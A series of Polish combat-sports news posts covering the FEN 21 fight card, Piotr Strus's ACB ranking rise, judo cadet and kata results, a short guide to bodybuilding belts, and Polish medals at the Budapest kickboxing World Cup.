We Wrocławiu dojdzie do starcia o pas mistrzowski K-1 w kategorii do 77kg pomiędzy Łukaszem Wierzbickim a Łukaszem Pławeckim. Zawodnik z Dolnego Śląska ma bogaty dorobek, w którym widnieje m.in. mistrzostwo Europy oraz tytuł międzynarodowego mistrza Polski w K-1. Na gali FEN 12 Wierzbicki stoczył niezwykle zacięty bój z Zakarią Baitarem. Sędziowie wskazali na Polaka, który zdobył tymczasowy pas FEN. Następnie Wierzbicki stworzył kapitalne widowisko z Pawłem Biszczakiem, jednak z triumfu cieszył się rywal. We Wrocławiu Wierzbicki chce ponownie znaleźć się w posiadaniu pasa, ale Pławecki nie ułatwi mu zadania. Doświadczony zawodnik zadebiutuje w organizacji FEN i będzie celował w kolejny pas. W ostatnim czasie zapisał na swoim koncie tytuły mistrzowskie w organizacjach MFC Gladiator i MFC. Warto dodać, że starcie Wierzbickiego z Pławeckim będzie jedynym pojedynkiem K-1 podczas całej gali FEN 21.

Marcin Zontek (93kg) liczy na przełamanie. 38-letni zawodnik MMA przegrał dwa ostatnie pojedynki w FEN. Po raz ostatni wygrał w styczniu 2016, kiedy to odprawił Arunasa Viliusa. We Wrocławiu rywalem Zontka będzie doświadczony Toni Valtonen. 39-letni Fin ma za sobą występy na KSW, gdzie pokonał Łukasza Jurkowskiego i przegrał z Janem Błachowiczem. W ostatnim pojedynku Valtonen przegrał z Borysem Polezhai.

Marian Ziółkowski (70kg) zapoluje na drugą wygraną w FEN. Ostatnio przegrał przed czasem z Mateuszem Rębeckim. Z kolei jego rywal, Patryk Nowak, ma za sobą efektowną wygraną z Jakubem Mroczkowskim na gali FEN 19.

Karta walk FEN 21:

Thiago Vieira – Andrzej Grzebyk -84 kg

Łukasz Pławecki – Wojciech Wierzbicki -77 kg K-1

Toni Valtonen – Marcin Zontek -93 kg

Jacek Jędraszczyk – Tymoteusz Łopaczyk -77 kg

Łukasz Kopera – Mateusz Głąb -70 kg

Patryk Nowak – Marian Ziółkowski -70 kg

Szymon Dusza – Oskar Somerfeld -77 kg

Grzegorz Ciepliński – Marcin Sianos -120 kg

Kewin Wiwatowski – Bartosz Leśko -93 kg

 

KM

Strus na szczycie, będzie walka o pas?

Wygrana z Fernando Gonzalezem przybliżyła Piotra Strusa do walki o pas ACB. Polski zawodnik awansował w rankingu wagi średniej na pierwsze miejsce. Czy kolejnym rywalem Strusa będzie mistrz Albert Duraev?

Znakomita postawa 29-latka z Warszawy w organizacji ACB. Piotr Strus nie przegrał żadnej walki i wyrasta na pierwszoplanową postać wagi średniej. Podczas gali w Nottingham Polak na przestrzeni trzech rund wypunktował doświadczonego Fernando Gonzaleza. Rywal tylko w trzeciej rundzie miał swoje "pięć minut". Amerykanin trafił Strusa lewym sierpem, który nieco oszołomił Polaka. Na przestrzeni całego starcia przewaga 29-latka nie podlegała dyskusji, ale… Decyzja sędziów była zaskakująca – Polak wygrał, ale niejedno głośnym werdyktem.

Pojedynki Strusa w ACB mogą się podobać. Polak walczy widowiskowo, co robi wrażenie na widzach. W debiucie nie miał litości dla Michaila Tsareva, który nie wyszedł do trzeciej rundy. Andy De Vent i Nikola Dipchikov również przed czasem musieli uznać wyższość Strusa. Tylko pojedynek z Mikhailem Kolobegovem zakończył się nie po myśli Polaka, ale werdykt wzbudził wiele kontrowersji i w końcu starcie uznano za nierozstrzygnięte.

Piętnaście miesięcy wystarczyło 29-latkowi, aby zgłosić aspiracje do walki o pas. Trzeba jasno przyznać, że Polak ma ku temu argumenty. Po starciu z Gonzalezem jasno sprecyzował swoje najbliższe plany. – Chcę walki o pas ACB – powtórzył już niejednokrotnie Strus.

Czwarta wygrana w organizacji ACB sprawiła, że Strus wyprzedził Abdula-Rahmana Dzhanaeva i znalazł się na pierwszej pozycji w rankingu kategorii średniej. Mistrzem jest Albert Duraev, który pas wywalczył pół roku temu. Na gali ACB 77 zasypał ciosami Vyacheslava Vasilevsky'ego i wygrał w pierwszej rundzie. Duraev ma imponujące statystyki. Ostatnią porażkę zanotował ponad trzy lata temu. 29-letni Duraev wygrał siedem kolejnych pojedynków, w tym sześć przed czasem. Wcześniej Rosjanin był czempionem wagi półśredniej.

Strus spogląda w stronę Duraeva i liczy, że w najbliższej walce będzie miał okazję rywalizować o tytuł mistrzowski. Polak zrobił wszystko, żeby tak się stało. Trzeba wspomnieć, że już w grudniu 2017 roku mówiło się o możliwym starciu Strusa z Duraevem. Minęło kilka miesięcy i droga do pojedynku jest (chyba) znacznie krótsza.

Fot. Piotr Strus Facebook

KM

Jeden medal na koncie Polaków

Tylko Mateusz Kozłowski (73kg) wywalczył medal dla Polski w Pucharze Europy kadetów w judo w Bielsku-Białej. Rok temu biało-czerwoni zdobyli trzy krążki. Z kolei w Koper (Słowenia) odbyły się mistrzostwa Europy w formule kata. Leszek Piąstka i Anna Jagiełło na 9. miejscu.

Święto judo w Bielsku-Białej. Na starcie pojawiło się ponad 500 zawodniczek i zawodników, w tym 84 osobowa kadra Polski. W 2017 roku w Bielsku na podium stawali Alicja Gowarzewska (40kg), Aleksandra Gaj (+70kg) oraz Adam Stodolski (73kg).

W mocno obsadzonym turnieju o medal było trudno. Do Bielska licznie zjechały kadry Japonii, Włoch, Rosji czy Ukrainy. Zgodnie z przewidywaniami rywalizację zdominowali reprezentanci Sbornej i Kraju Kwitnącej Wiśni. Wśród pań Japonki zdobyły cztery złote medale – An Miyai (44kg), Kokoro Fujishiro (52kg), Erika Okada (57kg) i Moka Kuwagata (70kg). Do tego złoto dołożył Kodai Sugawara (81kg). Z kolei czterech Rosjan na najwyższym stopniu wśród panów – Danila Korchemkin (50kg), Abrek Naguchev (66kg), Igor Talunin (73kg) i Matvey Kanikovskiy (90kg). Najlepsza w 48kg okazała się Irena Khubulova. W klasyfikacji medalowej triumfowali reprezentanci Sbornej, którzy zdobyli łącznie 15 krążków (5 złotych, 4 srebrne, 6 brązowych). Drugie miejsce dla Japonii (5, 1, 3), trzecie dla Węgier (2, 1, 3).

Polska na dwunastym miejscu w klasyfikacji medalowej, a to głównie zasługa Mateusza Kozłowskiego (73kg). 17-latek sięgnął po brąz. Droga po medal nie była łatwa. Kozłowski rozpoczął od wygranej z Jakovem Cvetko, ale później uległ Igorowi Taluninowi. Polak trafił do repasaży, gdzie musiał pokonać trzech rywali. Wyszedł zwycięsko, a w starciu o medal pokonał Czecha Daniela Pochopa. Pojedynek trwał blisko 6,5 minuty!

Biało-czerwoni mieli więcej medalowych szans, ale walki o brąz przegrały: Karina Grzywacz (40kg), Oliwia Onysk (40kg), Julia Jaroszewska (70kg), Maria Letkowska (+70kg).

Warto dodać, że w Pucharze Europy juniorek w La Corunii brąz zdobyła Aleksandra Kaleta (52kg).

Mistrzostwa w Koper

W Koper odbyły się mistrzostwa Europy w formule kata. Na 9. miejscu uplasowali się Leszek Piąstka i Anna Jagiełło, którzy poprawili wynik z poprzedniego czempionatu (13. lokata). W Koper startowali również Maciej Pudłowski i Anita Krawczyk – zajęli 10. pozycję.

Fot. Polski Związek Judo Facebook

KM

Wszystko co warto wiedzieć o pasach kulturystycznych

Pas do ćwiczeń czy jak kto woli pas kulturystyczny, choć swoim wyglądem przypomina dość znacząco pasek tradycyjny ( choć jest od niego znacznie bardziej szerszy) wykorzystywany jest przede wszystkim przez kulturystów, osoby uprawiające trójbój siłowy czy crossfit. Pas przeznaczony wyłącznie dla osób uprawiających trójbój siłowy ma stałą szerokość – 10 centymetrów i jest znacznie grubszy od klasycznego pasa kulturystycznego.

Jak działa pas do ćwiczeń?

W czasie podnoszenie dość dużych ciężarów, intensywnie napinają się mięśnie brzucha oraz mięśnie pleców. Pasy kulturystyczne stosowane są po to, aby ochronić odcinek lędźwiowy w czasie treningu. W przypadku słabych mięśni napięcie może okazać się dla nich zbyt silne i doprowadzić do poważnej kontuzji – pasy stosuję się właśnie po to, by zminimalizować ryzyko jej wystąpienia. Dużym minusem stosowania pasów do treningu jest jednak fakt, że w niezbyt naturalny sposób zapewniają one stabilizację mięśni w centralnym odcinku, czego konsekwencją jest zaprzestanie ich pracy, a to może prowadzić między innymi do:

  • uszkodzenia kręgosłupa,
  • skręcenia stawu skokowego.

Pasy kulturystyczne – stosować czy nie?

Cóż zdania odnośnie stosowania pasów kulturystycznych są dość mocno podzielone. Stosowanie pasa kulturystycznego ma zarówno swoje wady jak i zalety. Jednak jeżeli używany jest on zgodnie z pewnymi zasadami, przyniesie z pewnością więcej pożytku niż szkody. Zatem chcąc ćwiczyć z pasem kulturystyczny należy pamiętać, że:

  • pasy stosowane powinny być jedynie przy ćwiczeniach z naprawdę dużymi ciężarami;
  • z pasa kulturystycznego nie powinny korzystać osoby początkujące. Ich mięśnie stabilizujące nie są jeszcze odpowiednio wzmocnione, dlatego nie będą odpowiednio zachowywały się przy treningu z bardzo dużymi ciężarami;
  • pasy do ćwiczeń służą przede wszystkim zwiększeniu treningowych możliwości, dlatego warto korzystać z nich jedynie z w czasie bicia własnych rekordów. Nie ma konieczności używania ich w czasie nieco lżejszego treningu;
  • pasy sprawdzą się najlepiej w ćwiczeniach takich jak martwy ciąg, wyciskanie sztangi ( odbywające się między innymi nad głowę, w pozycji leżącej, sprzed klatki piersiowej czy zza karku) oraz przy przysiadach (szczególnie tych wykonywanych z dużym obciążeniem lub na maszynie Smitha);
  • przy stosowaniu pasów kulturystycznych warto zadbać o wzmocnienie mięśni brzucha;
  • przy każdym powtórzeniu warto zdejmować lub choćby rozluźniać pas. Niebezpieczne bowiem może być wykonywanie więcej niż 10 powtórzeń lub jednej serii danego ćwiczenia mając nałożony pas;
  • pas kulturystyczny nie powinien być nigdy noszony podczas całego treningu, bez jakichkolwiek przerw. Najlepiej zakładać go jedynie do najcięższych ćwiczeń, w których obciążenie jest zdecydowanie największe.

Ja wybrać pas do ćwiczeń?

Wybierając pas do ćwiczeń przede wszystkim należy zwrócić uwagę na jego następujące parametry:

  • rozmiar i szerokość ( dobrane do sylwetki),
  • materiał z jakiego został wykonany,
  • łatwość i szybkość wkładania/zdejmowania.

Polacy na pierwszym planie w Budapeszcie

Polscy kickboxerzy pokazali siłę! W Pucharze Świata w Budapeszcie biało-czerwoni znaleźli się w czołówce z dorobkiem 85 medali.

Tym samym Polacy znacznie poprawili wynik, który osiągnęli rok temu w stolicy Węgier. Wtedy to na swoim koncie zapisali 19 medali i zajęli 12. miejsce w klasyfikacji generalnej. Na ten rezultat wpływ miało wiele czynników m.in. fakt, że w turnieju nie wzięła udziału kadra low kick. Tegoroczny Puchar Świata w Budapeszcie to pokaz siły polskiego kickboxingu. Aż 24 złote medale, do tego 26 srebrnych i 35 brązowych zdobyła nasza drużyna. W zestawieniu krajowym najlepsi Węgrzy przed Ukrainą, Włochami i Polską (85 krążków).

Ponownie na najwyższym stopniu w Budapeszcie stanął Mateusz Kubiszyn (91kg) rywalizujący w full contact. W finale pokonał… Rafała Gąszczaka. – Mamy to! – napisał krótko na swoim Facebooku Kubiszyn. Trzy wygrane walki dały triumf Jakubowi Pokusie (71kg). Ze złota cieszą się również Karolina Mośko (48kg) oraz Patryk Możdżyński (60kg). O krok od najwyższego stopnia podium była Karolina Dziedzic (70kg), która w finale uległa Birgit Reitan Oksenes. Zapach złota w powietrzu czuli Rafał Nguyen (67kg) i Maciej Mościcki (81kg), ale musieli zadowolić się srebrnymi krążkami.  W tej samej formule poza podium wylądowała Paulina Saczuk (56kg). Poprzedni start na Węgrzech Polka zakończyła ze złotem. Piąte miejsce również dla Marty Pyry. W full contact brąz zawisł na szyi Emilii Czerwińskiej (60kg) i Poli Rogali (65kg). a także Sylwii Lewandowskiej, Anny Knobel, Pawła Dąbrowskiego, Dawida Aagyana, Michała Krawczyka i Tomasza Przybylskiego.

Prawdziwy pokaz siły w kick light dał Piotr Wypchał (89kg, 94kg). – Sparingi się udały. Dwa puchary jadą do Krakowa plus tytuł dla najlepszego zawodnika turnieju w kategorii Kick light. 5 walk do przodu, więc fajnie. Kilka akcji się udało przetestować, więc też fajnie . Jutro może trochę więcej informacji. Veni vidi victci czy jakoś tak – napisał zawodnik na Facebooku.

Złota w K-1 (+91kg) nie udało się wywalczyć Michałowi Bławdziewiczowi, który w decydującym pojedynku musiał uznać wyższość Romana Holovatiuka.  Sukces odniósł za to młody Filip Zawłocki (86kg) startujący wśród juniorów starszych. W finale pokonał Sebastiana Kuźniaka. – Walczyłem jakbym zupełnie nie był sobą, mimo to traktuje ten start jako sukces nie techniczny bądź sportowy (nie jestem zadowolony ze swoich walk) tylko psychiczny oraz emocjonalny. Niezwykle mi się to przydało – dzielił się swoimi wrażeniami Zawłocki. Złoto zdobył również Adrian Gunia (60kg).

Bezkonkurencyjny w low kick okazał się Kacper Frątczak (86kg). Polak pozostał w tyle Ukraińca Sergia Bohovycha. Na najwyższym stopniu podium stanął również Łukasz Kaczmarczyk (71kg), który w decydującym pojedynku uporał się z Arturem Zakirko. W low kick brąz zdobyli Kamil Krzyżaniak (63,5kg), Jakub Ogryzek (63,5kg), Bartek Domalik (81kg), Dominik Grzęda (91kg) oraz Adam Abood Al Hassani (+91kg). Wśród pań na najwyższym stopniu podium Karolina Kubiak (48kg).

MEDALIŚCI

point fighting – 65 kg 1 złoto Kalbarczyk Zuzanna
point fighting – 84 kg 2 srebro Maślanka Piotr
point fighting – 94 kg 3 brąz Maślanka Piotr
light contact – 42 kg 2 srebro Zarzycka Natalia
light contact – 79 kg 3 brąz Świstulski Klaudiusz
light contact – 74 kg 1 złoto Rafałko Łukasz
kick light – 63 kg 3 brąz Wojtowicz Łukasz
kick light – 63 kg 3 brąz Bendyk Adrian
kick light – 65 kg 1 złoto Kalbarczyk Zuzanna
kick light – 70 kg 1 złoto Stenka Paulina
kick light – 89 kg 1 złoto Wypchał Piotr
kick light – 94 kg 1 złoto Wypchał Piotr
kick light + 94 kg 1 złoto Sieńko Mirosław
full contact – 81 kg 2 srebro Mościcki Maciej
full contact – 60 kg 1 złoto Możdżyński Patryk
full contact – 60 kg 3 brąz Avgayan Dawid
full contact – 63,5 kg 3 brąz Krawczyk Michał
full contact – 67 kg 2 srebro Nguyen Rafał
full contact – 71 kg 1 złoto Pokusa Jakub
full contact – 75 kg 3 brąz Przybylski Tomasz
full contact – 91 kg 1 złoto Kubiszyn Mateusz
full contact – 91 kg 2 srebro Gąszczak Rafał
full contact – 48 kg 1 złoto Mośko Karolina
full contact – 52 kg 3 brąz Lewandowska Sylwia
full contact – 60 kg 3 brąz Czerwińska Emilia
full contact – 65 kg 3 brąz Rogala Pola
full contact – 70 kg 2 srebro Dziedzic Karolina
low kick – 63,5 kg 1 złoto Adamczewski Kacper
low kick – 57 kg 2 srebro Stępień Piotr
low kick – 67 kg 3 brąz Lasota Tomasz
low kick – 81 kg 1 złoto Niemiero Michał
low kick – 52 kg 3 brąz Mądraszewska Aleksandra
low kick – 65 kg 2 srebroWoźniak Patrycja
low kick – 57 kg 2 srebro Obara Krystian
low kick – 63,5 kg 3 brąz Krzyżaniak Kamil
low kick – 71 kg 1 złoto Kaczmarczyk Łukasz
low kick – 81 kg 3 brąz Domalik Bartek
low kick – 86 kg 1 złoto Frątczak Kacper
low kick – 91 kg 3 brąz Grzęda Dominik
low kick + 91 kg 3 brąz Abood al Hassani Adam
K1 – 67 kg 1 złoto  Siek Dawid
K1 – 71 kg 2 srebro Abramowicz Damian
K1 – 75 kg 2 srebro Rymarowicz Jakub
K1 – 60 kg 1 złoto Gunia Adrian
K1 – 81 kg 2 srebro Kuźniak Michał
K1 – 86 kg 1 złoto Zawłocki Filip
K1 – 48 kg 3 brąz Szelest Izabela
K1 – 52 kg 3 brąz Niemyjska Magdalena

KM